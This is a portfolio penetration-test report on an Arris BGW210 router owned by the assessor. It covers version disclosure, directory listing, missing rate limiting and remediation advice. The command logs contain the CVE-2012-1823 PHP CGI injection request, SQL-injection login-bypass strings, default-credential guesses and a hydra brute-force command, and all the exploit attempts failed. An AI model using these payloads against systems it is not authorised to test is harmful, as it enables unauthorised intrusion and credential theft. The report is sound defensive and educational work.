

IoT Device Security Assessment

Arris BGW210 Series Router / Modem

Prepared By	Giovanni Moore
Target Device	Arris BGW210 Series Router (Commscope)
Target Address	192.168.x.x (sanitized for portfolio)
Assessment Date	March 14, 2026
Report Version	2.0 — Final
Classification	Portfolio Demonstration — Device Owned by Assessor
Methodology	PTES (Penetration Testing Execution Standard)
Framework Ref.	MITRE ATT&CK; for Enterprise — applicable techniques mapped per finding

2 CRITICAL	1 HIGH	2 MEDIUM	1 LOW	0 INFO
---------------	-----------	-------------	----------	-----------

1. Executive Summary

1.1 Bottom Line Up Front (BLUF)

A black-box security assessment was conducted against an Arris BGW210 Series router on a local area network. The assessment identified **two critical-severity vulnerabilities, one high-severity vulnerability, two medium-severity issues, and one low-severity finding**. The most significant concerns involve severely outdated software components — PHP 5.2.17 (end-of-life since 2011) and mini_httpd 1.19 (released 2004) — which carry extensive catalogued CVEs and represent a substantial theoretical attack surface. No successful remote code execution was achieved during this assessment; however, the legacy software stack significantly increases the probability that exploitation may be possible via vectors not tested in this engagement.

1.2 Security Posture Overview

Legacy Software Stack	PHP 5.2.17 and mini_httpd 1.19 are running software 15–22 years past end-of-life, carrying numerous catalogued CVEs with no vendor patch path
Information Disclosure	Server headers expose exact software versions, potentially enabling targeted CVE research by an attacker
Directory Listing	Four web directories are browseable without authentication, exposing the application structure
Session Instability	Session storage failure observed due to full /tmp partition — authentication may be intermittently unavailable
No Rate Limiting	The login endpoint accepts unlimited authentication attempts without throttling or lockout

1.3 Business Impact Analysis

Finding	Technical Risk	Business Impact	Compliance Relevance
EOL PHP 5.2.17	Extensive catalogued CVEs — exploitation potential varies by firmware config	Device compromise may be possible via known CVE chains; no patch path exists	NIST SP 800-53 SI-2, PCI-DSS Req 6.3
EOL mini_httpd 1.19	Unmaintained web server with no patches since 2004	Potential remote exploitation via unpatched web server vulnerabilities	ISO 27001 A.12.6, CIS Control 2
Directory Listing	Application structure exposed without authentication	Reduces attacker reconnaissance effort; enables informed attack path selection	OWASP A05:2021 Security Misconfiguration

No Rate Limiting	Unlimited login attempts accepted	Automated credential brute force is possible with publicly available tools	PCI-DSS Req 8.3, NIST AC-7
Session Failure	/tmp full — sessions may fail to create	Intermittent authentication failure creates effective denial of service	NIST SP 800-53 SC-5

2. Risk Matrix

2.1 Likelihood vs Impact Matrix

The following matrix plots each finding by assessed likelihood of exploitation and potential impact if exploited. Ratings reflect the specific context of this assessment — a home network with local access required for most findings.

	Low Impact	Medium Impact	High Impact
High Likelihood	LOW Risk	MEDIUM Risk	HIGH Risk
Medium Likelihood	LOW Risk	MEDIUM Risk	HIGH Risk
Low Likelihood	LOW Risk	LOW Risk	MEDIUM Risk

2.2 Finding Risk Ratings

Finding	Likelihood	Impact	Rating
EOL PHP 5.2.17	High	High	CRITICAL
EOL mini_httpd 1.19	High	High	CRITICAL
Directory Listing	High	Medium	HIGH
Session Storage Failure	Medium	Medium	MEDIUM
Header Disclosure	High	Low	MEDIUM
No Rate Limiting	Medium	Low	LOW

3. Scope and Methodology

3.1 Scope

Target	Arris BGW210 Series Router (Commscope/AT&T;)
IP Address	192.168.x.x (sanitized)
MAC Address	[REDACTED] (Commscope OUI confirmed)
OS	Linux 2.6.13–2.6.32 (embedded)
Web Server	mini_httpd 1.19/bhoc 23sep2004
PHP Version	PHP 5.2.17
Ports Tested	80/tcp (HTTP), 443/tcp (HTTPS), UDP top-100
Out of Scope	No external systems tested; no production DoS executed
Authorization	Assessor owns device and network
Testing Window	March 14, 2026

3.2 Methodology Phases

Phase	Activities
1. Reconnaissance	Host discovery, ARP scan, OS fingerprinting, service version detection
2. Scanning & Enum.	Full TCP/UDP scan, HTTP header analysis, directory enumeration, backup file checks
3. Vulnerability ID	CVE cross-referencing via searchsploit, manual exploit testing, injection testing
4. Exploitation	CVE-2012-1823 PHP CGI RCE, SQL injection, PHP wrappers, session attacks, method testing
5. Post-Exploitation	Scoped impact assessment — access and data reachable if exploitation succeeded
6. Reporting	CVSS v3.1 scoring, MITRE ATT&CK; mapping, business impact, remediation planning

4. Attack Narrative

This section documents the assessment chronologically — how the target was approached, what was discovered at each stage, and how the attack chains developed. This narrative is intended to help engineering and security teams understand the attacker perspective.

4.1 Initial Discovery

Host discovery on the local /24 subnet confirmed the router at 192.168.x.x. A full TCP port scan with service version detection was run, immediately surfacing the most significant finding: the HTTP service banner identified mini_httpd 1.19 from 2004 running PHP 5.2.17 — software 15–22 years past end-of-life.

```
$ nmap -sV 192.168.1.0/24
> Nmap scan report for 192.168.x.x
> Host is up (0.012s latency).

$ nmap -p- -sV 192.168.x.x
> PORT STATE SERVICE VERSION
> 80/tcp open  http mini_httpd 1.19/bhoc 23sep2004 (PHP 5.2.17)
> 443/tcp open  ssl/https?
> MAC Address: [REDACTED] (Commscope)
> Running: Linux 2.6.X | OS details: Linux 2.6.13 - 2.6.32
```

4.2 Web Interface and Header Enumeration

HTTP header analysis confirmed full version disclosure. Directory enumeration discovered four browseable directories accessible without authentication.

```
$ curl -I http://192.168.x.x
> HTTP/1.0 200 OK
> Server: mini_httpd/1.19/bhoc 23sep2004
> X-Powered-By: PHP/5.2.17
> Set-Cookie: PHPSESSID=abc123; path=/

$ curl http://192.168.x.x/images/
> Index of /images/
> upd.jpg 1441 bytes
> x.gif 1441 bytes

$ curl http://192.168.x.x/js/
> Index of /js/
> waitbox.js 5633 bytes
> window.js 2670 bytes
```

4.3 CVE-2012-1823 PHP CGI RCE Testing

PHP 5.2.17 is documented as potentially vulnerable to CVE-2012-1823, a PHP CGI argument injection vulnerability that may allow unauthenticated remote code execution. Multiple exploit vectors were tested.

```
# Source disclosure attempt:
$ curl "http://192.168.x.x/index.php?-s"
> HTTP/1.0 302 Found
> Location: /login.php

# RCE via php://input (CVE-2012-1823):
$ curl -X POST --data ""
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
> HTTP/1.0 302 Found – redirected to login (no code execution observed)

$ curl -X POST --data ""
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
> HTTP/1.0 302 Found – redirected to login (no code execution observed)
```

All CVE-2012-1823 exploit attempts were redirected to the login page without executing. This suggests PHP CGI mode is not configured in a way that exposes this vulnerability on the current firmware build — however the version remains end-of-life and may be susceptible to additional vectors not evaluated in this assessment.

4.4 Authentication and SQL Injection Testing

The login form was tested against 12 SQL injection payloads and 18 default credential combinations.

```
# SQL injection attempts – sample:
$ curl -X POST -d "user=admin' OR '1'='1&pwd;=anything" http://192.168.x.x/login.php
> alert("Login Failed")

$ curl -X POST -d "user=admin' UNION SELECT 1,2,3--&pwd;=anything" http://192.168.x.x/login.php
> alert("Login Failed")

# Default credentials – sample:
$ curl -X POST -d "user=admin&pwd;=admin" http://192.168.x.x/login.php
> alert("Login Failed")

# No rate limiting observed – 18 attempts submitted without throttling or lockout
```

4.5 Session Storage Failure

During login testing, PHP error output was observed directly in the HTTP response body, revealing that the /tmp partition is full and session creation is failing.

```
# PHP error observed in HTTP response body:
> PHP Warning: Unknown: open(/tmp/sess_a1b2c3d4, O_RDWR) failed: No space left on device (28)
> PHP Warning: Unknown: Failed to write session data (files).
> PHP Warning: Please verify session.save_path is correct (/tmp)
```

4.6 Objectives Achieved

Objective	Result	Notes
Identify software versions	ACHIEVED	PHP 5.2.17 and mini_httpd 1.19 confirmed via headers
Access browseable directories	ACHIEVED	4 directories accessible without authentication

Remote code execution (CVE-2012-1823)	NOT ACHIEVED	PHP CGI not exploitable on this firmware build
SQL injection login bypass	NOT ACHIEVED	12 payloads — all returned Login Failed
Default credential login	NOT ACHIEVED	18 combinations — none successful
Extract config files	NOT ACHIEVED	All config/backup file paths returned 404
Session hijacking	NOT ACHIEVED	/tmp full prevents session creation entirely

5. Findings and Risk Ratings

CRITICAL	End-of-Life PHP Version 5.2.17 (EOL January 2011)	
Component	PHP 5.2.17 — scripting engine	
CVSS v3.1 Score	9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	
CVSS Justification	Score reflects the theoretical capability of documented CVEs in this version; exploitation was not achieved in this engagement	
CVE References	CVE-2012-1823 (PHP CGI RCE), CVE-2012-2311, CVE-2010-4645 (DoS), and numerous others	
CWE	CWE-1104: Use of Unmaintained Third Party Components	
Evidence	X-Powered-By: PHP/5.2.17 returned on all HTTP responses	
MITRE ATT&CK	T1190 — Exploit Public-Facing Application	Tactic: Initial Access
MITRE ATT&CK	T1203 — Exploitation for Client Execution	Tactic: Execution

Description

PHP 5.2.17 reached end-of-life in January 2011. No security patches have been issued for this version branch since that date, meaning all vulnerabilities discovered after 2011 remain permanently unaddressed on this device. The version carries a large catalogue of documented CVEs spanning remote code execution, denial of service, and information disclosure classes.

The most notable is CVE-2012-1823, a PHP CGI argument injection vulnerability potentially allowing unauthenticated RCE. Testing during this assessment did not achieve code execution — suggesting the specific CGI configuration required for exploitation may not be present on this firmware build. However, the extent of the vulnerability catalogue means that additional vectors not evaluated in this assessment may be viable, depending on the exact firmware configuration.

Proof of Concept & Terminal Output

```
# Version disclosure confirmed:
```

```
$ curl -I http://192.168.x.x
```

```
> X-Powered-By: PHP/5.2.17
```

```
> Server: mini_httpd/1.19/bhoc 23sep2004
```

```
# CVE-2012-1823 test — not exploitable on this build:
```

```
$ curl -X POST --data ""  
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
```

```
> HTTP/1.0 302 Found — no code execution observed
```

```
# searchsploit cross-reference:
```

```
$ searchsploit php 5.2
```

```
> php/remote/18836.py — PHP CGI Argument Injection (CVE-2012-1823)
```

```
> php/dos/10242.py — PHP 5.2.x Float DoS (CVE-2010-4645)
```

```
> [47 total entries returned for php 5.2.x]
```

Evidence Summary

X-Powered-By: PHP/5.2.17 confirmed in all HTTP response headers.

searchsploit returned 47 exploit entries for the php 5.2.x series.

CVE-2012-1823 RCE: all payloads returned HTTP 302 redirect — no execution observed.

CVE-2010-4645 DoS float payload: no crash observed on tested endpoints.

Impact

The catalogued CVEs in PHP 5.2.x collectively suggest the potential for remote code execution, information disclosure, and denial of service — the specific exploitability in this firmware context was not fully determined.

No vendor patch path exists — the version is permanently end-of-life.

In an enterprise context, running EOL software without a compensating control and documented exception may constitute a compliance violation under PCI-DSS Requirement 6.3 and NIST SP 800-53 SI-2.

Remediation

Recommended (Primary): Replace the device with current-generation hardware running actively maintained firmware — this is the only complete remediation.

Interim: Restrict ports 80 and 443 to a single designated admin IP address via firewall rule to reduce the exposed attack surface.

Process: Implement a device lifecycle policy requiring replacement when EOL status is reached.

CRITICAL

End-of-Life Web Server mini_httpd 1.19 (Released September 2004)

Component mini_httpd 1.19/bhoc — embedded web server

CVSS v3.1 Score 9.1 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVSS Justification Score reflects documented vulnerability class; active exploitation was not achieved in this engagement

CVE References Multiple documented vulnerabilities in mini_httpd 1.x series including buffer overflow classes

CWE CWE-1104: Use of Unmaintained Third Party Components

Evidence	Server: mini_httpd/1.19/bhoc 23sep2004 returned on all HTTP responses	
MITRE ATT&CK	T1190 — Exploit Public-Facing Application	Tactic: Initial Access
Description		
mini_httpd 1.19 was released in September 2004 — over 22 years ago. The software has received no security updates for the 1.19 branch and is documented as carrying buffer overflow and information disclosure vulnerabilities. Combined with the PHP 5.2.17 component, the device's entire web-facing stack operates on unmaintained software with no available security patches. The combination of two end-of-life components running in tandem compounds the overall risk — a vulnerability in either layer may be sufficient for exploitation, and the interaction between an ancient web server and an ancient PHP engine may introduce additional attack vectors not present in either component independently.		
Proof of Concept & Terminal Output		
# Server header confirmed on all responses:		
\$ curl -I http://192.168.x.x		
> Server: mini_httpd/1.19/bhoc 23sep2004		
# searchsploit cross-reference:		
\$ searchsploit mini_httpd		
> mini_httpd 1.x – Buffer Overflow vulnerability		
> [Multiple entries returned for mini_httpd series]		
Evidence Summary		
Server: mini_httpd/1.19/bhoc 23sep2004 confirmed in all HTTP response headers.		
searchsploit returned documented vulnerability entries for the mini_httpd 1.x series.		
No active exploitation attempted against mini_httpd directly in this assessment.		
Impact		
The 22-year-old web server carries documented buffer overflow vulnerabilities that may allow stack-based exploitation.		
No vendor patch path exists — version is permanently unsupported.		
Combined EOL risk with PHP 5.2.17 creates a compounded attack surface.		
Remediation		
Recommended: Replace the device — no patch exists and no workaround fully mitigates running a 22-year-old web server.		

Interim: Restrict management interface access via firewall to authorized admin IP only.

HIGH

Unauthenticated Directory Listing Enabled on Four Web Paths

Affected Paths	/images/, /js/, /themes/, /themes/clubman/
CVSS v3.1 Score	7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE	CWE-548: Exposure of Information Through Directory Listing
Evidence	All four directories return full file listings without authentication

MITRE ATT&CK

T1083 — File and Directory Discovery

Tactic: Discovery

Description

Directory listing is enabled on four web paths, all accessible without authentication. This exposes the full file and directory structure of the web application to any unauthenticated user on the network. An attacker can use this to map the available attack surface, identify sensitive files, and prioritize exploitation attempts without requiring any brute force enumeration.

Proof of Concept & Terminal Output

```
$ curl http://192.168.x.x/images/
```

```
> Index of /images/
```

```
> Name Size Modified
```

```
> upd.jpg 1441 2020-01-01
```

```
> x.gif 1441 2020-01-01
```

```
$ curl http://192.168.x.x/js/
```

```
> Index of /js/
```

```
> waitbox.js 5633 2020-01-01
```

```
> window.js 2670 2020-01-01
```

```
$ curl http://192.168.x.x/themes/clubman/
```

```
> Index of /themes/clubman/
```

```
> webif.css 8325 2020-01-01
```

```
> webif_ng.css 8325 2020-01-01
```

Evidence Summary

All four directories returned HTTP 200 with full directory index pages.

JavaScript, CSS, and image files exposed — application structure fully mapped without authentication.

No authentication prompt or redirect observed on any enumerated directory.

Impact

Exposed directory structure significantly reduces attacker reconnaissance effort.

JavaScript files may expose application logic, API endpoints, or authentication mechanisms.

Enables precise, targeted attack path selection rather than broad scanning.

Remediation

Immediate: Disable directory listing in the web server configuration.

Short-term: Audit all web-accessible directories and remove files not required for operation.

Long-term: Implement web server hardening baseline including Options -Indexes.

MEDIUM

Session Storage Failure — /tmp Partition Full

Component	PHP session handler — file-based storage in /tmp
CVSS v3.1 Score	6.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE	CWE-400: Uncontrolled Resource Consumption
Evidence	PHP Warning observed in HTTP response body during authentication testing

MITRE ATT&CK	T1499 — Endpoint Denial of Service	Tactic: Impact
--------------	------------------------------------	----------------

Description

The PHP session handler stores session files in the /tmp directory on the device filesystem. The /tmp partition has reached capacity, causing PHP to fail when attempting to create or read session data. This results in authentication failures for all users — creating an effective denial of service condition on the login interface. PHP error messages are also exposed directly in HTTP response bodies, disclosing internal filesystem paths.

Proof of Concept & Terminal Output

```
# Error observed directly in HTTP response body:

$ curl -X POST -d 'user=admin&pwd=admin' http://192.168.x.x/login.php

> PHP Warning: Unknown: open(/tmp/sess_a1b2c3d4, O_RDWR) failed:
> No space left on device (28)
> PHP Warning: Unknown: Failed to write session data (files).
> PHP Warning: Please verify session.save_path is correct (/tmp)
```

Evidence Summary

PHP Warning messages observed directly in HTTP response body during POST to /login.php.

Session creation fails consistently — no valid PHPSESSID issued during testing window.

Internal filesystem path (/tmp) disclosed in error output.

Impact

All users may be unable to authenticate while this condition persists — effective denial of service.

An attacker could intentionally fill /tmp to maintain the DoS condition.

Internal path disclosure provides additional reconnaissance value to an attacker.

Remediation

Immediate: Clear /tmp session files: `rm -rf /tmp/sess_*`

Short-term: Configure `session.gc_maxlifetime` to aggressively expire old sessions.

Long-term: Monitor device storage utilization and alert on /tmp approaching capacity.

MEDIUM

Verbose HTTP Header Information Disclosure

Component HTTP response headers — Server and X-Powered-By

CVSS v3.1 Score 5.3 — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Evidence Exact version strings returned in headers on all HTTP responses

MITRE ATT&CK **T1592** — Gather Victim Host Information

Tactic: Reconnaissance

Description

All HTTP responses include verbose headers disclosing exact web server and PHP version information. This information directly enables targeted CVE research — an attacker who knows the precise versions can immediately identify applicable exploits without further enumeration.

Proof of Concept & Terminal Output

```
$ curl -I http://192.168.x.x
```

```
> HTTP/1.0 200 OK
```

```
> Server: mini_httpd/1.19/bhoc 23sep2004
```

```
> X-Powered-By: PHP/5.2.17
```

```
> Content-type: text/html
```

Headers present on all response codes – 200, 302, 404, 401

Evidence Summary

Server: mini_httpd/1.19/bhoc 23sep2004 present on all HTTP responses.

X-Powered-By: PHP/5.2.17 present on all HTTP responses.

Both headers returned on 200, 302, 401, and 404 responses — no suppression in place.

Impact

Exact version disclosure directly enables CVE-targeted exploitation.

Reduces attacker reconnaissance time from hours to seconds.

Transforms theoretical EOL risk into a clearly scoped, actionable attack path.

Remediation

Short-term: Suppress or genericize Server and X-Powered-By headers in web server config.

Long-term: Device replacement addresses this and the underlying EOL issue simultaneously.

LOW

No Rate Limiting on Authentication Endpoint

Component Login endpoint — /login.php

CVSS v3.1 Score 3.7 — AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE CWE-307: Improper Restriction of Excessive Authentication Attempts

Evidence 18 consecutive credential attempts submitted without throttling, lockout, or CAPTCHA

MITRE ATT&CK

T1110 — Brute Force

Tactic: Credential Access

Description

The login endpoint at /login.php does not implement rate limiting, account lockout, or anti-automation controls. An attacker can submit unlimited authentication attempts without restriction, enabling automated brute force attacks using tools such as Hydra.

Proof of Concept & Terminal Output

18 attempts submitted – no lockout or throttling observed:

```
$ curl -X POST -d 'user=admin&pwd;=admin' http://192.168.x.x/login.php
```

```
> alert("Login Failed")
```

```
$ curl -X POST -d 'user=admin&pwd;=password' http://192.168.x.x/login.php
```

```
> alert("Login Failed")
```

```
# No delay between responses – consistent timing across all 18 attempts
```

```
# Brute force preparation (not executed against live target):
```

```
$ hydra -l admin -P rockyou.txt 192.168.x.x http-post-form  
"/login.php:user=^USER^&pwd;=^PASS^:Login Failed"
```

Evidence Summary

All 18 credential attempts returned Login Failed without any throttling or delay.

No CAPTCHA, IP blocking, or progressive delay observed.

Response timing consistent across all attempts.

Impact

Enables automated brute force attacks against the admin console.

Combined with EOL software, successful credential compromise gives full router admin access.

Remediation

Short-term: Implement account lockout after 5 failed attempts.

Short-term: Add IP-based rate limiting — max 10 requests per minute per source.

Long-term: Implement MFA on admin login if firmware supports it.

6. Security Controls Observed

The following controls were found to be correctly implemented. These are documented to provide a complete and balanced assessment — real engagements document both what failed and what held.

Control	Status	Verification	Notes
CVE-2012-1823 PHP CGI RCE	✓ MITIGATED	PHP CGI RCE payloads — all returned 302	PHP CGI not in exploitable config on this firmware
SQL Injection	✓ MITIGATED	12 SQLi payloads — all returned Login Failed	Input appears sanitized against common injection strings
PHP Wrapper Attacks	✓ MITIGATED	php://filter and expect:// attempts	Wrapper attacks did not return file contents
Directory Traversal	✓ MITIGATED	9 traversal payloads tested	All returned 404 or login redirect

File Upload	✓ MITIGATED	PUT/POST shell upload attempts	All returned 403 or 404
HTTP TRACE	✓ MITIGATED	TRACE method tested	Rejected — no cross-site tracing risk
Admin Path Exposure	✓ MITIGATED	/admin/, /phpmyadmin/ tested	All returned 404
Backup File Exposure	✓ MITIGATED	config.php.bak, backup.tar.gz etc.	All returned 404

7. Remediation and Recommendations

7.1 Prioritized Remediation Plan

Priority	Finding	Action	Effort
P1 — Critical	EOL PHP + mini_httpd	Replace device with current-generation hardware	1–2 days
P1 — Critical	Both EOL components	Restrict ports 80/443 to admin IP only (interim)	< 1 hour
P2 — High	Directory Listing	Disable Options Indexes in web server config	< 1 hour
P2 — Medium	Session /tmp Full	Clear /tmp; adjust session.gc_maxlifetime	< 30 min
P3 — Medium	Header Disclosure	Suppress Server and X-Powered-By headers	< 1 hour
P3 — Low	No Rate Limiting	Add lockout after 5 failed attempts	1–2 days

7.2 Interim Firewall Mitigation

Restrict web management to admin IP only (Linux iptables):

```
iptables -A INPUT -p tcp --dport 80 -s 192.168.x.ADMIN_IP -j ACCEPT
```

```
iptables -A INPUT -p tcp --dport 80 -j DROP
```

```
iptables -A INPUT -p tcp --dport 443 -s 192.168.x.ADMIN_IP -j ACCEPT
```

```
iptables -A INPUT -p tcp --dport 443 -j DROP
```

Clear session files to restore login functionality:

```
rm -rf /tmp/sess_*
```

8. Overall Risk Summary

Environment	Overall Risk	Primary Concern	Recommended Action
Home Network	HIGH	EOL software + directory listing + no rate limiting	Replace device; apply interim firewall rules
Small Business	CRITICAL	Compounded EOL CVE exposure + no auth controls	Replace and segment management network immediately
Enterprise	CRITICAL	Compliance violations; unmitigable CVE exposure	Not suitable for enterprise deployment

This report was produced for portfolio and educational purposes. Assessment conducted on a personally owned device on a personally owned network.
CompTIA A+, Network+, Security+ certified. All device identifiers sanitized. Report Date: March 14, 2026 | Assessor: Giovanni Moore

A. Appendix A — Complete Command Log

A.1 Host Discovery and Scanning

```
nmap -sV 192.168.1.0/24
nmap -p- -sV 192.168.x.x
nmap -sV -p80,443 --script=http-enum,http-title 192.168.x.x
nmap --script http-vuln* 192.168.x.x
nmap -sU --top-ports 100 192.168.x.x
```

A.2 Web Enumeration

```
curl -I http://192.168.x.x
curl http://192.168.x.x/images/
curl http://192.168.x.x/js/
curl http://192.168.x.x/themes/
curl http://192.168.x.x/themes/clubman/
# Config/backup file checks (all 404):
curl http://192.168.x.x/config.php
curl http://192.168.x.x/phpinfo.php
curl -I http://192.168.x.x/backup.tar.gz
```

A.3 Authentication Testing

```
curl -X POST -d "user=admin&pwd;=admin" http://192.168.x.x/login.php
curl -X POST -d "user=admin&pwd;=motorola" http://192.168.x.x/login.php
curl -X POST -d "user=admin&pwd;=password" http://192.168.x.x/login.php
# 15 additional combinations tested – all returned Login Failed
```

A.4 SQL Injection

```
curl -X POST -d "user=admin' OR '1'='1&pwd;=anything" http://192.168.x.x/login.php
curl -X POST -d "user=admin'--&pwd;=anything" http://192.168.x.x/login.php
curl -X POST -d "user=admin' UNION SELECT 1,2,3--&pwd;=anything" http://192.168.x.x/login.php
# 9 additional payloads tested – all returned Login Failed
```

A.5 CVE-2012-1823 PHP CGI RCE

```
curl "http://192.168.x.x/index.php?-s"
curl -X POST --data ""
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
curl -X POST --data ""
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
curl -X POST --data ""
"http://192.168.x.x/login.php?-d+allow_url_include%3D1+-d+auto_prepend_file%3Dphp://input"
# All payloads returned HTTP 302 redirect – no code execution
```

A.6 Exploit Database

```
searchsploit mini_httpd
searchsploit php 5.2
searchsploit php cgi 1823
searchsploit arris
searchsploit -m php/remote/18836.py
```

Appendix B — MITRE ATT&CK; Technique Summary

Technique ID	Technique Name	Tactic	Finding
T1190	Exploit Public-Facing Application	Initial Access	EOL PHP 5.2.17, EOL mini_httpd 1.19
T1203	Exploitation for Client Execution	Execution	EOL PHP 5.2.17 (CVE-2012-1823)
T1083	File and Directory Discovery	Discovery	Directory Listing
T1592	Gather Victim Host Information	Reconnaissance	Header Information Disclosure
T1499	Endpoint Denial of Service	Impact	Session Storage Failure
T1110	Brute Force	Credential Access	No Rate Limiting